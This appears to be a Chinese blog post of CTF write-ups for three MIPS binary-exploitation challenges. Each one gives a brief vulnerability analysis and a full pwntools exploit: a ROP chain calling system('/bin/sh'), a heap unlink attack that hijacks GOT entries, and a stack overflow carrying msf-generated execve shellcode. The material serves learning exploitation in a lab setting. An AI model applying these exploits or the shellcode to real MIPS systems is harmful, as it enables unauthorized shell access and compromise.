MIPS-PWN解题汇总(一)

summary

TSCTF HelloMIPS:32位mips栈溢出,rop
2020-西湖论剑-management:32位mips unlink
UCTF-2016-ADD:32位栈溢出,shellcode

0x01 TSCTF HelloMIPS

程序分析

32位mips

IDA分析

程序一开始泄露libc地址
明显栈溢出

思路

找gadget执行system(“/bin/sh”),源程序没有可用的gadgets,从libc中直接找
最后定位到这条语句:控制跳转地址以及第一个参数寄存器a0.

exp

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='mips',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']

elf = ELF("./HelloMIPS")
libc = ELF("./lib/libc.so.0")

global p
remote_gdb=0
def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        p = process(["qemu-mipsel-static", "-g", "1234", "-L", "/home/shinnosuke/Desktop/pwn-mips/HelloMIPS", "./HelloMIPS"])
        log.info('Please use GDB remote!(Enter to continue)')
        return p
    else :
        p = process(["qemu-mipsel-static", "-L", "/home/shinnosuke/Desktop/pwn-mips/HelloMIPS", "./HelloMIPS"])
        log.info('Please use GDB remote!(Enter to continue)')
        return p
# 0x004007f8 : addiu $sp, $sp, 0x20 ; lw $ra, 0x18($sp) ; nop ; jr $ra ; addiu $sp, $sp, 0x20

# 0x00400760 : nop ; jalr $t9 ; addiu $a0, $a0, 0xd20 ; lw $gp, 0x10($sp) ; addiu $v0, $zero, 1 ; sb $v0, 0xe00($s1) ; 
# lw $ra, 0x20($sp) ; lw $s1, 0x1c($sp) ; lw $s0, 0x18($sp) ; jr $ra ; addiu $sp, $sp, 0x28

# 0x0000b114: lw $t9, ($sp) ; lw $a0, 4($sp) ; jalr $t9 ; nop
binsh_addr = 0x440E20
p = get_sh()
p.recvuntil("MIPSEL.\n")
p.sendline("/bin/sh")
p.recvuntil("number:0x")
system = int(p.recv(8),16)
libc.address = system - libc.sym['system']
success("system addr ==> "+hex(system))
success("libc addr ==> "+hex(libc.address))
payload = "a"*0x100+p32(0)+p32(libc.address+0x0000b114)+p32(system)+p32(binsh_addr)+p32(0)+p32(system)+p32(0)*8
raw_input()
p.sendline(payload)
p.interactive()

0x02 2020-西湖论剑-management

程序分析

保护全关,32位的mips题目

Ghidra分析程序

Ghidra软件介绍和安装教程在这
用来反编译mips比较方便。

这是一个传统的菜单堆题,分别有create、show、modify、delete四个功能。
modify的位置有溢出8个字节的漏洞,那么我们很容易就想到利用unlink进行攻击,劫持note_list。

思路

在当前chunk中伪造一个0x20的堆块,同时溢出编辑下一个chunk的pre_size和pre_inuse位,这样删除下一个chunk的时候会进行向上合并,触发unlink,最后可以达到劫持note_list的目标。

写入got表,先打印出libc地址,再劫持free函数为system,delete一个带有“/bin/sh”字符串的chunk即可getshell

exp

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']

elf = ELF("./pwn3")
libc = ELF("./lib/libc.so.0")

global p
remote_gdb=0
def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        p = process(["qemu-mipsel-static", "-g", "1234", "-L", "/home/shinnosuke/Desktop/pwn-mips/managesystem", "./pwn3"])
        log.info('Please use GDB remote!(Enter to continue)')
        return p
    else :
        p = process(["qemu-mipsel-static", "-L", "/home/shinnosuke/Desktop/pwn-mips/managesystem", "./pwn3"])
        log.info('Please use GDB remote!(Enter to continue)')
        return p

def create(sz,info='a'):
    p.sendlineafter("options >>",str(1))
    p.sendlineafter("Enter the user info's length:",str(sz))
    if sz != 0:
        p.sendafter("Enter user's info:",info)

def delete(idx):
    p.sendlineafter("options >>",str(2))
    p.sendlineafter("Enter the index of user:",str(idx))

def edit(idx,info):
    p.sendlineafter("options >>",str(3))
    p.sendlineafter("Enter the index of user you want edit:",str(idx))
    p.sendafter("The new user's info:",info)

def show(idx):
    p.sendlineafter("options >>",str(4))
    p.sendlineafter("Enter the index of user you want show: \n",str(idx))

p = get_sh()
note_list = 0x411830

create(0x20)
create(0x20-8)
payload = p32(0)+p32(0x21)+p32(note_list-0xc)+p32(note_list-0x8)+"a"*0x10+p32(0x20)+p32(0x20)
edit(0,payload)
delete(1)
payload = p32(0)*2+p32(0x411830)+p32(0x50)+p32(elf.got['read'])+p32(0x4)
edit(0,payload)
show(1)
p.recvuntil("info: ")
data = u32(p.recv(4))
print hex(data)
libc.address = data - libc.sym['read']
success("libc address ==> "+hex(libc.address))
payload = p32(0x411830)+p32(0)+p32(elf.got['free'])+p32(0x10)+p32(libc.search("/bin/sh").next())
edit(0,payload)
edit(1,p32(libc.sym['system']))
delete(2)
p.interactive()

0x03 UCTF 2016 ADD

查看文件

32位mips

IDA分析

这里也不能叫IDA了,使用叫Ghidra的软件,据说是美国郭建安全局开发的逆向软件。

int main(void)
{
  int random_number;
  long lVar1;
  long lVar2;
  char *__s;
  uint number3_0x80;
  char challenge [10];
  char buf [64];

  setvbuf(stdout,(char *)0x0,2,0);
  puts("[calc]");
  puts("Type \'help\' for  help.");
                    /* 随机数 */
  srand(0x123456);
  random_number = rand();
  sprintf(challenge,"%d",random_number);
  number3_0x80 = 0x80;
  __s = buf;
  do {
    if (number3_0x80 < 2) break;
LAB_00400984:
    random_number = _IO_getc(stdin);  // 栈溢出
    if (random_number < 0) goto LAB_00400ad4;
LAB_004009a4:
    *__s = (char)random_number;
    number3_0x80 = number3_0x80 - 1;
    __s = __s + 1;
  } while (random_number != 10);
  if (number3_0x80 == 0) goto LAB_004009c0;
  do {
    *__s = '\0';
LAB_004009c0:
    __s = strchr(buf,10);
    if (__s != (char *)0x0) {
      *__s = '\0';
    }
    random_number = strcmp(buf,"help");
    if (random_number == 0) {
      __s = "Type \'exit\' to exit.";
LAB_00400b18:
      puts(__s);
      puts("Input 2 numbers just like:");
      puts("1 2");
    }
    else {
      random_number = strcmp(buf,"exit");
      if (random_number == 0) {
        puts("Exiting...");
        return 0;
      }
      random_number = strcmp(buf,challenge); // 输入等于随机数,打印出栈地址,实际上随机数可预测。
      if (random_number == 0) {
        printf("Your input was %p\n",buf);
        number3_0x80 = 0x80;
        __s = buf;
        goto LAB_00400984;
      }
      __s = strchr(buf,0x20);
      if (__s == (char *)0x0) {
        __s = "Error!";
        goto LAB_00400b18;
      }
      lVar1 = strtol(buf,(char **)0x0,10);
      lVar2 = strtol(__s + 1,(char **)0x0,10);
      printf("%d + %d = %d\n",lVar1,lVar2,lVar2 + lVar1);
      if (lVar2 + lVar1 == 0x133a05e) {
        puts("Thanks,Bye~");
        return 0;
      }
    }
    number3_0x80 = 0x80;
    random_number = _IO_getc(stdin);
    __s = buf;
    if (-1 < random_number) goto LAB_004009a4;
LAB_00400ad4:
    if (__s == buf) {
      return 0;
    }
  } while( true );
}

思路

很清晰的感觉mips指令比arm的麻烦很多,不好看Orz…..

根据上面的反汇编代码,我们思路如下:根据随机数预测来打印出栈地址,写入shellcode到栈中,ROP劫持pc寄存器返回栈地址执行shellcode。

shellcode的生成就用msf,有个坑就是msf这里把mipsel叫mipsle

exp

#coding=utf-8
from pwn import *
context.log_level = "debug"
remote_gdb=1
def get_sh(other_libc = null):
    global libc
    if args['REMOTE']:
        if other_libc is not null:
            libc = ELF("./", checksec = False)
        return remote(sys.argv[1], sys.argv[2])
    elif remote_gdb:
        p = process(["qemu-mipsel", "-g", "1234", "-L", "/usr/mipsel-linux-gnu/", "./add"])
        log.info('Please use GDB remote!(Enter to continue)')
        raw_input()
        return p
    else :
        return process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu/", "./baby_heap"])

shellcode =  ""
shellcode += "\x66\x06\x06\x24\xff\xff\xd0\x04\xff\xff\x06\x28\xe0"
shellcode += "\xff\xbd\x27\x01\x10\xe4\x27\x1f\xf0\x84\x24\xe8\xff"
shellcode += "\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x27\xab\x0f\x02"
shellcode += "\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00"

if __name__ == "__main__":
    p = get_sh(0)
    p.recvuntil("Type 'help' for  help.\n")
    p.sendline(str(2057561479))
    p.recvuntil("Your input was ")
    leak = int(p.recvuntil("\n")[:-1], 16)
    print "input addr = " + hex(leak)
    offset = 8
    payload = "A" * offset + shellcode
    payload += "\x00" * (112 - len(payload))
    payload += p32(leak + offset)
    payload += " 1"
    p.sendline(payload)
    p.recvuntil("1 2\n")
    p.sendline("exit")
    p.recvuntil("Exiting...")
    p.interactive()

 Previous
TSCTF2020的一道题中学习2.32下safe-linking机制以及2.31/2.32下setcontext的使用 TSCTF2020的一道题中学习2.32下safe-linking机制以及2.31/2.32下setcontext的使用
前言仍然是比赛结束后来探险,xxrw师傅出的一道题目,很有趣的一道题。漏洞很巧妙难以定位,利用起来比较有意思,也学到了safe linking保护机制和2.31/2.32 setcontext的利用方法。 tag:glibc 2.32、se
2020-10-22
Next 
ARM-PWN解题汇总(一) ARM-PWN解题汇总(一)
总结一下做的ARM题 0x00 概述HelloArm:64位栈溢出CSU读flagHelloArmShell:64位栈溢出CSU leak libc地址,读入system函数地址和/bin/sh,执行system(“/bin/sh”)201
2020-10-21
  TOC